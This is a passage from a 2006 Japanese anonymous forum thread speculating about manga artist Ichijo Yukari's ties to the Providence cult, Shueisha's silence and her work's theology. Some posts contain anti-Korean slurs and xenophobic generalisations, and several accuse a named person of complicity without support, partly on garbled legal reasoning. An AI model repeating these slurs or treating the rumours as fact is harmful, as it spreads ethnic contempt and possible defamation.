>>469にもあるように、ネットがあったからバレたっていう感じだし
それだけ2chの影響力が増したということでもあると思うよw

> 「一条さんは現役信者ですよ。本人は否定するだろうけど」
> ってコメント出した関係者とやらも、なぜ本人は否定すると考えたのか疑問。
下衆な勘ぐりをするなら、
「一条さんは現役信者ですよ。本人は否定するだろうけど」 と明言した有力な支援者と一条ゆかりが、
以前はともかく現在はまったく親しくない間柄だということかな?

一条さん本人が「騒ぎに巻き込まれて迷惑」というコメントになったのは、
もしも、教団のやばい部分を知って遠ざかることにしたという経緯があったのだとしたら、
そういう迷惑発言になるのもムリもない。
でも、一条さん本人が、私は無関係利用されただけなんて言い訳は、通らないと思うし、
何事もなかったようにしれーっと連載を続けるのだったら嫌だな・・・
長年愛読してきた自分が惨めになってくる。

498 :花と名無しさん:2006/08/04(金) 10:12:41 ID:???0
>教団のやばい部分を知って遠ざかることにしたという経緯があったのだとしたら
あきただけじゃ・・結婚生活も長続きしてないし
健康にいい、効果あったと喜んでるグッズ類もスグやめるのはなぜなんだろう

499 :花と名無しさん:2006/08/04(金) 10:19:41 ID:???0
>>498
どんなひとでも、何かに飽きるということはある。
熱中するほど、さめるのも早いもんだ。
ライフワークみたいなもんだと、飽きがきてもまあそれなりに続いていくもんだけど。

一条御大の場合は、漫画を書くことはライフワークなんだろうけど
もう代表作は出来上がっちゃったし、若いころほどのめり込んで描いてない。
だから漫画以外のことに熱中する。
でも、漫画描くこと以上に熱中できることじゃないから、すぐ飽きるんだね。
何に熱中するのでもいいんだけど、宗教だけはやばかったな。

500 :花と名無しさん:2006/08/04(金) 10:22:55 ID:???0
>>499
宗教がやばいんじゃなく、新興宗教がね。
普通のキリスト教の教会に行けばよかったのに。

501 :花と名無しさん:2006/08/04(金) 10:30:51 ID:???0
宗教の宣伝塔じゃなく、「レイプ常習犯」の宣伝塔。
いいオトナが知らなかったじゃすまない。

502 :花と名無しさん:2006/08/04(金) 10:36:22 ID:???0
あの週刊誌の記事は、ほとんどネットで得られる内容でしょ
活字になったとたん鬼の首とったようになるのはおかしいと思う。
マスコミの取材って信用できるのかも微妙だよ。
一条先生の自宅って報道されたのも仕事場のことだし
普段いるマンションに行って取材すればいいのに。
ちょこっと人から話聞いて、ネットでネタ集めて
適当にインパクトのあるニュース流せればいいんじゃないの

503 :花と名無しさん:2006/08/04(金) 10:39:36 ID:???0
>>502
ネットで流れること以上のことを本来知っているはずの一条先生が
何の釈明もしないからファンは不安がってる。
統一協会の広告塔になった人は脱会後、自分のせいで信者になった人に対して
謝罪表明したじゃないの。

風説の流布で被害にあってるなら怒るべきだし、
風説ではなく事実なら、ちゃんとした声明を出すべきだと思う。

504 :花と名無しさん:2006/08/04(金) 10:39:42 ID:???0
>あの週刊誌の記事は、ほとんどネットで得られる内容でしょ

つ集英社のコメント

505 :花と名無しさん:2006/08/04(金) 10:40:17 ID:???0
502は摂理の信者? それとも一条の盲目信者?

506 :花と名無しさん:2006/08/04(金) 10:42:10 ID:???0
>>503
> 統一協会の広告塔になった人は脱会後、自分のせいで信者になった人に対して
> 謝罪表明したじゃないの。

誰?

507 :花と名無しさん:2006/08/04(金) 10:45:06 ID:???0
>505マスコミの取材のやり方が腹立つだけ

508 :花と名無しさん:2006/08/04(金) 10:46:57 ID:???0
>>505
後者ではないの?
前者なら、今一条ゆかりを養護しても、教団が支援される材料にはならないことを、認識しているだろう。

509 :花と名無しさん:2006/08/04(金) 10:47:24 ID:???0
>505
集英社の中の人

510 :花と名無しさん:2006/08/04(金) 10:49:51 ID:???0
>>507
一条や集英社には腹がたたないんだ。おめでたいね。

511 :花と名無しさん:2006/08/04(金) 10:50:19 ID:???0
>>506
山崎浩子

ぐぐれば当時のことが色々出てくる

512 :花と名無しさん:2006/08/04(金) 10:50:27 ID:???0
≫505
2ちゃんソースのあの程度のネタと取材力で
うちの看板作家をさらしやがってという集英社の中の人。

513 :花と名無しさん:2006/08/04(金) 10:51:07 ID:???O
来週発売の週刊誌が取り上げればいいんだが。
夏休みだから、特大号で約2週間売られる。
月末発売のコーラスの出方も変わってくるかも。

514 :花と名無しさん:2006/08/04(金) 10:56:05 ID:???0
新潮はよくぞ載せた、GJ!と思うんだけど
今の日本のマスコミって
統一協会が問題になってテレビや雑誌や新聞で
たくさん取り上げられていた頃とは違って
韓国系カルトには甘々だから
(カルトに限らず、韓国人がした犯罪や悪いことについては
 報道自体あまりしないことが多く
 ネットでは報道されても、テレビや新聞では
 全く載らなかったり、載っても本の少しだったりする)
新潮以外の雑誌やテレビ局が摂理や関わった漫画家について
取り上げないでスルーってことはありえそうだよね。
そうすると、シャーシャーと次のコーラスにもプライド載ったりして。

コーラスの公式サイトでもプライドの予告が載ってるし。

515 :花と名無しさん:2006/08/04(金) 10:57:54 ID:???0
>>502
マジレスするのもなんだかなとは思いつつ言う。

> あの週刊誌の記事は、ほとんどネットで得られる内容でしょ
> 活字になったとたん鬼の首とったようになるのはおかしいと思う。
このスレでは、鬼の首とったようなレスしてる人っていたようには思えない。
ま、他の板から流れてきたアンチ一条なヤツがザマーミロ的な言い方をしたことはあったかもしれないが
主流は、やはりそうだったか!ショック!ってなもんだったよ。

> マスコミの取材って信用できるのかも微妙だよ。
信用できる部分と信用できない部分で成り立つのが、マスコミ。
ネットもそういう意味では同じだがw

> 一条先生の自宅って報道されたのも仕事場のことだし
> 普段いるマンションに行って取材すればいいのに。

当然行ってみたと思うよ。
ただしマンションは天ツラの美花があこがれてたオートロック式。
一軒家のような門の外にあるピンポンまでたどり着くのはむずかしいのさ。

> ちょこっと人から話聞いて、ネットでネタ集めて
> 適当にインパクトのあるニュース流せればいいんじゃないの
それで食ってる人もマスコミだが、漫画家に漫画描いてもらって編集して食ってる人もマスコミだ。

516 :花と名無しさん:2006/08/04(金) 10:59:08 ID:???0
とりあえず謝罪釈明はコーラス出た後かな?
編集部も責任は重いと思うけど…
末次の時みたいに編集部は関係ないって顔して逃げるのかな。

517 :花と名無しさん:2006/08/04(金) 11:01:15 ID:???0
集英社社員もここに張り付いていそう。

518 :花と名無しさん:2006/08/04(金) 11:01:54 ID:???0
>>511
トンクス

519 :花と名無しさん:2006/08/04(金) 11:04:47 ID:???0
>>515
>主流は、やはりそうだったか!ショック!

自分もショック。
昔の漫画(砂の城、デザイナー、有閑倶楽部)は
今でも好きだし
今のプライドは全盛期に比べると劣化したとはいえ
まだまだ面白さを保ってると思うから。
残念だ。


>>516
末次スレでも講談社社員と思われる粘着が
張り付いてたことがあったよね。


520 :花と名無しさん:2006/08/04(金) 11:09:14 ID:???0
末次さんのは、著作権侵害という問題でしょ?
社会的な事件との関係があったわけじゃないし、
比べるほどのもんじゃないよ。
ただ、出版社社員がファンの意向を掴みたがって専用スレに張り付くのはありえるね。
集英社関係者さん、
社会的な事件との関係ってとこを重視していただきたい。

521 :花と名無しさん:2006/08/04(金) 11:14:10 ID:???0
>>520
>集英社関係者さん、
>社会的な事件との関係ってとこを重視

あれだけテレビに名前と顔が出て問題になった
援交しまぷーをあっさり復帰させる集英社だから
今回のこともスルーしそうな悪寒がする。

↓世紀末リーダーたけし完全復活SJ本誌にて好評連載中
http://sj.shueisha.co.jp/contents/simabuu/index.html

522 :花と名無しさん:2006/08/04(金) 11:16:23 ID:???0
いちど絶版になった「世紀末リーダーたけし」も
大判化で再販
http://www.amazon.co.jp/gp/product/4088594568/

523 :花と名無しさん:2006/08/04(金) 11:20:37 ID:???0
>>514
電通が絡む限りは、マスコミの韓国たたきは難しいと思われる。

524 :花と名無しさん:2006/08/04(金) 11:24:47 ID:???0
一条は末次のような小物でないし。

525 :花と名無しさん:2006/08/04(金) 11:26:17 ID:???0
末次は関わると損と決めた会社が切りにかかり
こんかいは全社上げて一条先生のフォローに走る。

526 :花と名無しさん:2006/08/04(金) 11:30:56 ID:???0
>>525
そんな感じがする。
一条がドル箱だから、ことの重大さは無視して
フォローするんだろうね。

527 :花と名無しさん:2006/08/04(金) 11:43:08 ID:???0
援交yよりもレイプの方が重罪だろ?

弁護士が告訴するのは、教祖と日本側責任者だが、準強姦罪の容疑で、だよ。

528 :花と名無しさん:2006/08/04(金) 11:43:44 ID:???0
新潮の電車の中刷り広告みて、びっくりしますた。

うちのブログにやたら「摂理 少女マンガ家」って検索ワードで飛んでくる人が多いとおもったら!!!!


529 :名無しんぼ@お腹いっぱい:2006/08/04(金) 11:53:31 ID:???0
飛んでみるぉw

530 :花と名無しさん:2006/08/04(金) 12:25:52 ID:???0
>>528
めがね少女漫画をマンセーするサイトでつか?

531 :花と名無しさん:2006/08/04(金) 12:44:20 ID:???O
>>296
「漢(おとこ)の城と書いて、ソウルと読む。それでいいじゃないか。」
と言える骨太の親韓が減って久しいね…。
真実の韓国愛に目覚めると、韓国人が隠したがる物ばかり
愛してしまうので、かえって韓国人から煙たがられる。
だから、発言を控えてるのかも知れないけどね。
(嫌韓のなかには、「キーセンやポンチャックを誇っていれば…」と
公言して憚らぬ苦言派もいる。)

532 :花と名無しさん:2006/08/04(金) 12:57:31 ID:???0
>>531
石野卓球とかディープコリアの根本敬あたりの
「ポンチャックが好き」だの
「下品で汚くてエロな韓国が好き」だのの発言をしてた人は
媚韓ブームになってからはパタリと発言しなくなってしまったね。


533 :花と名無しさん:2006/08/04(金) 13:04:37 ID:???0
なんで今ごろ韓国の話を・・・
スレ違いもいい加減やめて

534 :花と名無しさん:2006/08/04(金) 13:09:48 ID:???0
摂理が韓国系キリスト教だから

535 :花と名無しさん:2006/08/04(金) 13:10:23 ID:???0
>>528
宣伝乙

536 :花と名無しさん:2006/08/04(金) 13:19:42 ID:???0
少女漫画板なんですよね、ここ。
スレ違いというより板違い。
親韓の方も、嫌韓の方も、それくらいは理解して下さいな。

それにつけてもですが、
連載が載るにしても載らないにしても、
何のエクスキューズもなかったら、
大人のずるさ丸出しになりますね。
作者も編集部も。

537 :花と名無しさん:2006/08/04(金) 13:23:33 ID:???0
少女漫画を使って韓国系カルトが信者を勧誘してレイプしてたんですけど?
536は集英社の人?

538 :花と名無しさん:2006/08/04(金) 13:26:55 ID:???0
>>537
536ですが、ちがいますよ。
昔は中小出版社の編集担当、いまは主婦。


539 :花と名無しさん:2006/08/04(金) 13:38:33 ID:???0
嘘付いてんじゃねーよ
消えろ

540 :花と名無しさん:2006/08/04(金) 13:44:21 ID:???O
>>536
しばらくは祭り状態。韓国ネタだけのレスが嫌ならあぼ〜んしとけば?
変に絡むと他板からのお客が喜んで、関係ない話が続くだけだよ。

541 :花と名無しさん:2006/08/04(金) 13:47:00 ID:???0
>>482
> だけど、教祖が逃亡中、日本側の幹部も潜伏中では、
一般には、告訴の前に、相手方に向けて告訴するよという文面の通告が、内容証明郵便で送られるのだが、
相手が住民登録などをしている住所にいなければ、その通告は無視されたことになり、
起訴されたその人は、犯罪者となり、罪状によっては指名手配になる。

そうなると一条さんは、当然のことながら、犯罪に加担した漫画家ということになる。
共犯の容疑で出頭を命じられる可能性もある。
教祖や日本側責任者を告訴という手続きがまだ行われていないだけのこと。

一条さんや集英社さんが時間稼ぎをしたところで、
犯罪に加担した漫画家とその版元という事実がなくなるわけではない。

542 :花と名無しさん:2006/08/04(金) 13:54:27 ID:???0
取りあえず、現段階では集英社は直接関係なくないか?
成り行き上、一条に代わってコメントしているだけだし。

543 :花と名無しさん:2006/08/04(金) 13:59:48 ID:???0
一条漫画が好きだからこそ
一条さんの手でちゃんとケリをつけてほしいんですがね。
こうやってコソコソ逃げまわってたり
一部の一条信者が摂理の話をスルーさせようとしてるのが
胸糞悪い。

544 :花と名無しさん:2006/08/04(金) 14:01:11 ID:???0
なんでよりによって南朝鮮カルト宗教となんかねんごろになっちゃったんだろ。
まともなキリスト教の教会に取材をしていれば、こんなことにはならなかったのに。

545 :花と名無しさん:2006/08/04(金) 14:13:22 ID:???0
姦国人って日本風の名前を使ってる人が多いから
最初に接触した時は姦国系キリストとは気がつかないで
接触してしまったのかもね。

546 :花と名無しさん:2006/08/04(金) 14:41:13 ID:???0
>>544
まともなキリスト教の教会というのを、知らなかった、調べることを怠ったということだね。
「天ツラ」文庫3巻の後書きを読むと、
聖書の内容は手塚治虫さんの聖書物語の漫画で読んだという感じだ。
キリスト教徒で特に親しい人はいなかったのだろうな。
連載が始まって間も無い頃に、キリスト教の信者からの手紙が来て、
それが「摂理」教団関係者だった、ということなのだろう。


547 :花と名無しさん:2006/08/04(金) 14:43:19 ID:???0
>>20
>「天使のツラノカワ」文庫第3巻発売(全3巻)
> 第3巻の一条ゆかりによる解説には、このような記述がある。
>  「で、どっかの宗教団体からツッコミがきたらどうしようかと思いつつ、描き始めたんですね。「天ツラ」を。
>   そして……やはり来ました突っ込みが。
>   でもそこは優しいクリスチャン。やんわりと指摘され、おまけに「もし解らなければどうぞ私達の教会においで下さい。
>   幾らでも教えて差し上げます」と書いてた。ほっ……。
>   あと、勧誘の手紙とかお説教を録音したテープとかも来ました。おっと、勧誘だと言うと怒られる。伝導です。
>   流石だわ、クリスチャン。世界中何処に行っても日本人と宣教師は居ると言うだけあって、熱心です。
>   伝導、頑張って下さい。」

この文面、一見、その手紙の相手側を立ててはいるけど、実はそうでもないような。
「どっかの宗教団体」という言い方には、どことなく、こことは親しみたくないという雰囲気がにじみ出ている。
「おっと、勧誘だと言うと怒られる。伝導です。」のあたりは、ちょっと嫌みも入っていそうだ。
「勧誘の手紙とかお説教を録音したテープとか」は、いかにも「摂理」っぽい。
  普通の教会なら、そういった宣伝行為はまずやらないからね。
とにかく、手紙の相手側を褒めまくっているわけではないのは明らかだ。
これを書いた時点で(今年の6月発行だから5月頃か)、
一条ゆかりにとっての「摂理」は、もはや過去のつきあいでしかなかったのだろう。
とはいえそれなりに深く関わったので、一応「摂理」への恩義を感じて、ここに書いたのだろうと思われる。

ちなみに文庫1巻と2巻の解説担当者は、聖書とかキリスト教とか宗教の話は一切書いていない。
「天ツラ」を語るのに、宗教の知識は不可欠ではないからだ。
感想や批評に宗教がらみのことを書きたがるのは、本人が熱心なキリスト教信者の場合だけだろう。

548 :花と名無しさん:2006/08/04(金) 14:53:50 ID:???0
ところで、そもそもこのネタの出所のひとつであるらしい
「天ツラに出てくる聖書の解釈が通常のキリスト教とは違う、
摂理の解釈に酷似している」って話だけど、具体的にどの部分なんだろう?
誰か、「天ツラにはこう描かれてる」「一般的なキリスト教的解釈はこう」
「摂理だとこう」って分かりやすく並べてくれないかな。

キリスト教って、いろんな派ごとに聖書のあらゆる部分について
「ここはこういう解釈で」「いやこうだろう」って延々やってるイメージなんで、
そのどれにも引っかからず「摂理独自の解釈」って言い切れるのって
どんなの?ということに興味をひかれるんだけど。

いや、向こうの人って、何でもかんでもすぐ「これはうちのオリジナル。
周りが真似しただけ」とか言うじゃん。
そのバリエーションの一つってことはないの?

549 :花と名無しさん:2006/08/04(金) 14:59:44 ID:???0
>>548
「摂理」よりも、教祖がかつて幹部を務めていたという「統一教会」を調べてみたら?
wikipediaあたりでも、「統一教会」の項目は結構くわしそうだし。

550 :花と名無しさん:2006/08/04(金) 15:01:21 ID:???0
それは548の疑問に対する答えになってないと思うぞ

551 :花と名無しさん:2006/08/04(金) 15:05:29 ID:fymji/9/O
新巻って何日発売だっけ?

552 :花と名無しさん:2006/08/04(金) 15:07:49 ID:???0
>>548が満足するような答えを出せるのは、
普通のキリスト教の牧師の説話を色々聞いている経験者、
なおかつ
摂理の説法を実際に聞いたか読んだかした経験者、
でないと、むりだろうよ。

553 :花と名無しさん:2006/08/04(金) 15:08:22 ID:???0
>>551
プライドなら8/18


554 :花と名無しさん:2006/08/04(金) 15:09:50 ID:???0
>>541
あんまり安易な書き方をするのはやめてほしい
どれくらい教壇に関与したのか事実関係を洗ってる状態だろうに
その状態で出頭云々はいくらなんでも先走りすぎだよ


555 :548:2006/08/04(金) 15:12:18 ID:???0
>>549>>552
いや、別にムリに答えを出そうとしてくれなくてもいいんだよ。
誰かその辺わかってて説明してくれる人がいないかなー、と思って書いただけ。
なんか話ばっかり広まって、具体的にそれがどういうことなのか、
ちゃんとした内容が出てきてないなーと思って。

556 :花と名無しさん:2006/08/04(金) 15:12:34 ID:???0
広告塔関係で起訴された人間がどれくらいいるの?
オウムのときも大阪のカルトも芸能人が関わっていたのに起訴されなかったよね
まあそんなこといったら統一や創価なんで激ヤバなんだがw
渡辺先生も創価だったしね・・

557 :花と名無しさん:2006/08/04(金) 15:22:05 ID:g4uYqUvN0
あれ・・・一条って・・・ストリップする人じゃなかったの?

558 :花と名無しさん:2006/08/04(金) 15:22:52 ID:???0
一条ゆかりファンサイト↓に
ttp://yotsuba.saiin.net/~eiko/yukari/yybbs/yybbs.cgi
天使のツラノカワのどこの部分が摂理だったのか載ってた。

自分は書き込んでないんだけど
メジャープロバイダのためアクセス規制されて
もう見れないんだが。

559 :花と名無しさん:2006/08/04(金) 15:24:30 ID:???0
ん?
これってアクセス制限?

560 :花と名無しさん:2006/08/04(金) 15:25:22 ID:???0
>>559
403になってる
多分掲示板自体は削除しないでアクセスを弾いている状態なんだろう

561 :花と名無しさん:2006/08/04(金) 15:25:45 ID:???0
一条御大、キリスト教についてなら出版社の人に頼んで曽野綾子に会わせてもらえばよかったのに。
そうすれば正統派の教義を叩き込まれて摂理と正反対の超堅物になって、今頃は世間から褒められてたのにねw

562 :花と名無しさん:2006/08/04(金) 15:25:55 ID:???0
■ 掲示板は一時停止します

ってあるから、プロバイダで切ってるんじゃなくて
パーミッションをいじってるだけだね

563 :花と名無しさん:2006/08/04(金) 15:27:34 ID:???0
>>547
摂理と接触してしまったのはウッカリだったけど
全然信者なんじゃなくて、御大の言い分は
「広告塔になんかにされて迷惑よ!」なのかもしれないねぇ。

それだったら安心なんだけど…。

とにかく、御大の口から出たコメントを聞きたいよ。

564 :花と名無しさん:2006/08/04(金) 15:33:03 ID:???O
スレタイがツボw

565 :花と名無しさん:2006/08/04(金) 15:35:44 ID:???0
何も言わないのは事実だと認めるようなものだよなw

終わったな・・・・

566 :花と名無しさん:2006/08/04(金) 15:52:29 ID:quX2e4t6O
>>546残念ながら聖書は全部読んでるし、教会にも毎週通っていたらしい。読みやすいよう、章毎にページ色分けしたそうだ(辞書みたく)。タイトル忘れたがエッセイに書いてあった

むしろキリスト教(新旧聖書)だけを勉強して、現代の宗派とかキリスト教関連の新興宗教について調べなかったのかなと言う感じじゃないか?
だから一見優しそうな変な奴らに巻き込まれた、ような気がするが。
どちらにしろゆかり女王にしては警戒心がなさ過ぎる行為だよね。振られたばっかりだったのかなぁ

567 :花と名無しさん:2006/08/04(金) 16:02:09 ID:???0
一般には、告訴の前に、相手方に向けて告訴するよという文面の通告が、内容証明郵便で送られるのだが、
相手が住民登録などをしている住所にいなければ、その通告は無視されたことになり、
起訴されたその人は、犯罪者となり、罪状によっては指名手配になる。

ぷげら!

568 :花と名無しさん:2006/08/04(金) 16:14:03 ID:???O
>>566
私はエッセイまでは読んでないので、出来ればどの本(タイトル)の
何ページに掲載されていたのか教えてほしい。
少しでも一条の摂理との関わり濃度が薄まればいいのだけど…。

天ツラでのキリスト教教義って、美花が親友やシキとの日常会話で
ポロポロしゃべる部分とか、出版社のアルバイトで聖書のアドバイザーする時
ぐらいだよね。
主人公が敬虔なクリスチャンと言う設定は、安易に手を出さない方が良かったのにと
改めて思ったり…。
一条は遠藤周作(クリスチャン)の著書は、読んだ事ないんだろうか?

569 :花と名無しさん:2006/08/04(金) 16:15:04 ID:???0
>>566
一条ゆかり主義、じゃなかったかと。>エッセイのタイトル

570 :花と名無しさん:2006/08/04(金) 16:26:16 ID:???0
しまぶーと違って一条先生は深く集英社に根付いてる人だから
対応がどう出るか見守ってるよ。
はっきりカタつけないとYY廃刊騒動で揺れたばかりのコーラスの漫画家さんたちも落ちつかないんじゃ?
フリーランスが多いから流出するだけかもしれないけどさ。

571 :花と名無しさん:2006/08/04(金) 16:26:51 ID:???0
一条ゆかりって韓国にはまってたよね?


そして、韓国は楽しかった!こんな感じ 音譜. korea. いやぁ〜、とにかく飯安くて うまい!
出発前に、韓国旅行のプロである、憧れの キラキラ 一条ゆかり先生 キラキラ に
アドバイスをいただいて、さっそくがんがんマーケットいってまいりました(先生
ttp://72.14.235.104/search?q=cache:T8yueNscAy8J:marcin-kimie.ameblo.jp/+%E4%B8%80%E6%9D%A1%E3%82%86%E3%81%8B%E3%82%8A%E3%80%80%E9%9F%93%E5%9B%BD&hl=ja&ct=clnk&cd=8

2002韓日漫画キャンプフェスティバル 
日韓国民交流年記念事業

開催地】 韓国 
【日 時】 2002年07月28日(日)〜30日(火)
【会 場】 ソウル・アニメーション・センター
【主 催】 国際文化芸術平和協会(ICPA)
【問い合せ】 国際文化芸術平和協会(ICPA)
Tel.82-2-833-3590
【内 容】 2002韓日漫画キャンプフェスティバル 
一条とともに「うれしい、漫画よ!」

国際文化芸術平和協会のアニメーション担当部署である
ICEA(International Cartoon Exchange Association)が韓国の中高校生100人を
対象に3泊4日の予定で漫画家一条ゆかり氏を招へいし、セミナーを行うもの。
ttp://www.jpf.go.jp/jkxx/calendar/cal_200207/cal_eventdata/j_eve_20728_4.html

572 :花と名無しさん:2006/08/04(金) 16:28:08 ID:???0
255 名前:宗教を考える名無しさん [2003/09/12(金) 09:53]
先生の本、並びに成約聖書は、同人誌として発行されまつ。
表紙と巻頭には、一条ゆ○りさんの少女漫画が載りまつ。
信者の皆さんは強制購入でつ。
千葉ではもれなく、Mさん写真集"NUNA"が付録(料金別)でついてきまつ。
http://72.14.235.104/search?q=cache:UalRK8wzhYQJ:www.soutokuhu.com/bbs/test/read.cgi%3Fbbs%3Dpsy%26key%3D1058238770+%E3%81%B2%E3%81%9D%E3%81%8B%E3%81%AB%E6%9D%A5%E3%81%BE%E3%81%99%E3%81%9F%E6%91%82%E7%90%86%E4%BA%BA&hl=ja&ct=clnk&cd=1

573 :花と名無しさん:2006/08/04(金) 16:34:21 ID:kOwic+WA0
終わったな。一条…

574 :花と名無しさん:2006/08/04(金) 16:55:59 ID:???0
>>555
ざっと調べてみた範囲だが、摂理(と統一教会)の重要な教義のひとつに
「愛のないセックスは堕落の根源」「堕落論」という考え方が出てくる。
まあこれ自体は、教祖の性的暴行常習を報道されてる状態だから、ずっこけてしまうのだがw

「愛のないセックス」をいけないものとする考え方が表われるシーンは、「天ツラ」にも結構ありそうだ。
たとえば、見合いから逃げてきた沙羅が、偶然街で会った紫生を誘ったら、
心がないセックスはしたくないとか言われたり、
阿木龍世に処女代10万を先払いしてもらった美花が、
愛のないセックスではいけないから阿木さんと恋愛しようと決意したり。

写真家あや子が、モデルとして撮りたい4人が揃ったとき、重ねていたイメージは、
戦いの天使ミカエル、堕天使ルシフェル、愛と芸術の天使ガブリエル、全知全能の神、だった。
そして、
撮影ロケから戻って以来すっかり仲よくなった沙羅と紫生に、いらだつ美花が、
恵美ちゃんから言われて自分の中の嫉妬心に気づいたシーンがある。

絵の方は、裸の女イブに向かい合う、リンゴの樹に絡みつく下半身蛇の女、そこで美花のモノローグ。
「ルシフェルがイブをそそのかしたのも、神様に愛されている人間に嫉妬したから」
「この世に恋愛があるかぎり嫉妬という名のサタンが顔を出し、弱い人間をむしばんでしまう」
このあたりも、摂理と統一教会の「堕落論」に通じるね。

キリスト教では、旧約聖書の創世記の失楽園物語は、「神の命令に背いたことが罪の起源」という解釈になる。
アダムとイブが蛇(サタン)にそそのかされて「善悪の知識の木」の実(りんご)を食べてしまい、
エデンの園を追われたという、あの物語だ。

摂理や統一教会の教典では、キリスト教での「善悪の知識の木」が「善悪を知る木」となっていて、
「善悪を知る木」はイブの象徴と解釈されているらしい。
蛇にそそのかされてイブがその実を食べた物語は、
サタンこと天使長ルシフェルがイブに近づいて云々という話に置き換えられている。
他にも、聖書についての独自の解釈が色々あるようだ。

575 :花と名無しさん:2006/08/04(金) 17:09:55 ID:???0
巨匠 一条ゆかり先生 と フレンチナイト in 新宿

その日本一の漫画家の先生とは・・・
そうっ!!
一条ゆかりセンセーーーーーイッ!!


それでも、勇気を振り絞りお話に混ぜていただく事になると、一条先生はとーーーーっても
お話の面白い方で、連続大爆笑(日本語話せない方も通訳3人ぐらいいたので笑いはほぼ同時進行)。
ブログには書けないおと〜ななジョークや海外経験談も先生は披露してくれました(素敵過ぎますっ!)。
そして、今夜の大発見ナンバーワンは、
一条先生が・・・・

英語 と 韓国語 がお喋りになられるという事・・・・・。すばらすぃ〜

特に韓国語はなべの素敵な彼女(韓国語ネイティブ)に、

「先生、発音最高です!かわいい発音!」

と、太鼓判を押されていました。なべは一年韓国語を勉強しているのにも
関わらず、彼女に言わせて見ると、
「先生の方がお上手!」
彼は、深く傷つき、巨匠をライバル視・・・なにかワケのわからない語学の
バトルが繰り広げられていた・・・(よせって言ってるのに・・・)。
そしてもう一つの発見は、一条先生が人の「気」を感じ取れるという事
「是非みてくださいぃ!!」
と、ずうずうしくお願いしてみた。
先生に言われた事は、私は気管支が弱いとの事。そして、ストレスをためやすい。
あ・・・・あってる・・・・・。

576 :花と名無しさん:2006/08/04(金) 17:10:35 ID:???0
おひさしぶり〜!
みなさんお元気でしょうか?
韓国から帰ってきて、まっっっったく余裕のない生活をしてしまっている私たちです。
こんなに書いてないと、何を書いていいのやら、どうやって書いていいのやら、
さっぱり感覚をわすれちゃうものなのね〜・・・。
まったくもって、ブログのヤリバナレリーナ。
ブログと夜の世界の共通点を発見(何いってんのっ)。
とにかく、私とマーティン生きてます。
そして、韓国は楽しかった!こんな感じ
いやぁ〜、とにかく飯安くてうまい!

出発前に、韓国旅行のプロである、憧れの一条ゆかり先生にアドバイスを
いただいて、さっそくがんがんマーケットいってまいりました(先生ありがとうございます!!!)

深くは触れませんが、マーケットでは犬君たちも・・・ああ・・・

577 :花と名無しさん:2006/08/04(金) 17:13:46 ID:???0
>>568-569
「一条ゆかり主義」に出てくる聖書関連のエッセイは、
まだ摂理教団との関わりがないか、
あってもごく薄いころに書かれたものじゃない?
聖書は入門用に手塚氏の漫画〔子供向け)を読み、
普通の聖書は全体の1/3しか読んでいないと書いてあるよ。
アダムとイブの話はでてくるけど、へびというのしか出てこない。
ほかのエッセイ集だと思う。

578 :花と名無しさん:2006/08/04(金) 18:01:55 ID:???0
天ツラコミック2巻の後書き漫画に
牧師の娘は、すっごくまじめになるか不良になるかの
どちらかだと言った人の手にあるマグカップに
「JUN」と書かれていて、それが家族ぐるみで信仰してる漫画家か?
安直にそこから取材したのかな?

579 :花と名無しさん:2006/08/04(金) 18:02:08 ID:???0
あんなに犬ラヴだった人が犬を食べる韓国にはまる不思議

580 :花と名無しさん:2006/08/04(金) 18:04:53 ID:???0
>>506
いいぼしけいこ・・・かな?
字、忘れた。

581 :花と名無しさん:2006/08/04(金) 18:05:14 ID:???0
そりゃこじつけでは。
自分も愛犬家だが、犬を食う人々に対する偏見はないぞ。

582 :花と名無しさん:2006/08/04(金) 18:09:56 ID:???0
>>581
犬食べるやつらになんの偏見もない無いってのが
もう基地外なんじゃん。気持ち悪い

583 :花と名無しさん:2006/08/04(金) 18:12:06 ID:???0
869 名前: 宗教を考える名無しさん [2003/07/05(土) 11:49]
久々に見にきたけど、千葉の話題ばっかだな…。
まあ自分も元千葉で、誰が書いてるかは知ってますがね。

>>787
猪木って言った子、その数ヵ月後の切られかたもすごかったね。
「Mさんを女性として意識した」ってことで切られたんだよね。
ていうかそれを判断したのがMさん自身という…。あの時のキレ方もすごかった。
まあ切られて、その子にとっては良かったんだけどね。

あと、尊敬する人の話で、
川(   `∀´  )川 <有名人でも一条ゆ○りは、W聞いてるから尊敬してもいいかな。
って言ってたな。


川(   `∀´  )川ことMさんは千葉の韓国人教会幹部女史

584 :花と名無しさん:2006/08/04(金) 18:12:32 ID:mgEcJM2I0
韓国カルトの信者もまざってるんだろ、このスレ

585 :花と名無しさん:2006/08/04(金) 18:14:49 ID:???0
>>581
うわ!キモッ!!

586 :花と名無しさん:2006/08/04(金) 18:16:13 ID:???0
106 名前:名無しで宗教問答 [2003/04/14(月) 01:13]
先生の指揮もうまいと評判だよね
3拍子と4拍子の区別もついてないかんじだたけど


107 名前:名無しで宗教問答 [2003/04/14(月) 01:16]
いやあれはメンバーが先生に心情を合わせて歌うものなんですよ。
二度と同じ指揮はしないというのも奥が深いものですね。



108 名前:名無しで宗教問答 [2003/04/14(月) 01:17]
なるほど〜 さすが先生ですね


109 名前:名無しで宗教問答 [2003/04/14(月) 01:28]
やっぱり先生の歌は
御旨さく〜摂理史〜
が一番いいかなあ。



587 :花と名無しさん:2006/08/04(金) 18:16:53 ID:???0

110 名前:名無しで宗教問答 [2003/04/14(月) 01:32]
>>109
あれ、何度聞いても良いですね(^^)
とぅっぴ〜ぬうん〜 そむにさあげ〜
に〜み〜わあ〜こお〜んまん〜

エホバヨ13唱もいいですよ〜


111 名前:名無しで宗教問答 [2003/04/14(月) 01:38]
手品もみたいよね
いっぱい箱だすやつ


588 :花と名無しさん:2006/08/04(金) 18:18:01 ID:???0
128 名前:名無しで宗教問答 [2003/04/15(火) 03:05]
フセインなんかよりも先生をさがしてほしいな、英米軍には。


129 名前:名無しで宗教問答 [2003/04/15(火) 03:09]
( ´-`).。oO(どうしていつも先生の近くには綺麗なお姉さんがついていたんだろう)


130 名前:名無しで宗教問答 [2003/04/15(火) 03:50]
( ´-`).。oO(なんかこれかわいい)


131 名前:名無しで宗教問答 [2003/04/15(火) 07:32]
スキャンダルに溢れている所も先生おもしろくない
だって普通じゃないでしょこんなスキャンダルって
相当な人じゃないとこんな事にならないよ!
例え噂が本当でも私には先生にはもっと暴れて欲しいな
誰も真似出来ないもん。すごいじゃんこの人さ
まあ事実じゃない方がいいけど


589 :花と名無しさん:2006/08/04(金) 18:21:56 ID:???0
297 名前:296 [2003/05/01(木) 21:11]
先生を重んじる団体。
